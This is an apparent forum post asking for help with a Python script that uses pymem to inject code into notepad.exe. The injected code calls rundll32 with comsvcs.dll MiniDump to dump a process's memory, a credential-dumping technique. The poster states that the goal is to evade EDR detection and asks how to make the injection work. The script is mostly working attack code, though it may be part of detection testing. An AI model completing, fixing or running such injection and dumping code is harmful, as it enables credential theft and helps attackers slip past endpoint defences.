[Python] Python script for process injection

I need to do a process injection using python. Tried the below script. My objective is to see if the script is working and if working then can it be used to evade EDR detection

import pymem
import os
import subprocess

notepad = subprocess.Popen(['notepad.exe'])

pm = pymem.Pymem('notepad.exe')
pm.inject_python_interpreter()

shellcode = """

f = open("C:\TestRule\process_injection.txt", "w+")
f.write("pymem_injection")
f.close()
os.system('rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 988 C:\dump.dmp full')

"""

pm.inject_python_shellcode(shellcode)

notepad.kill()


The command within the shellcode --> os.system('rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 988 C:\dump.dmp full') when ran separately gets blocked by our EDR tool which indicates that it works. But when used in the script nothing happens except opening of notepad . Even I don't see any notification of it getting blocked by EDR. Seems like the code is just ignored .

This I can say because the other code within the shellcode

f = open("C:\TestRule\process_injection.txt", "w+")
f.write("pymem_injection")
f.close()


just works fine .

Can anyone plz tell me what am i doing wrong and suggest any modification in the script

Continue reading...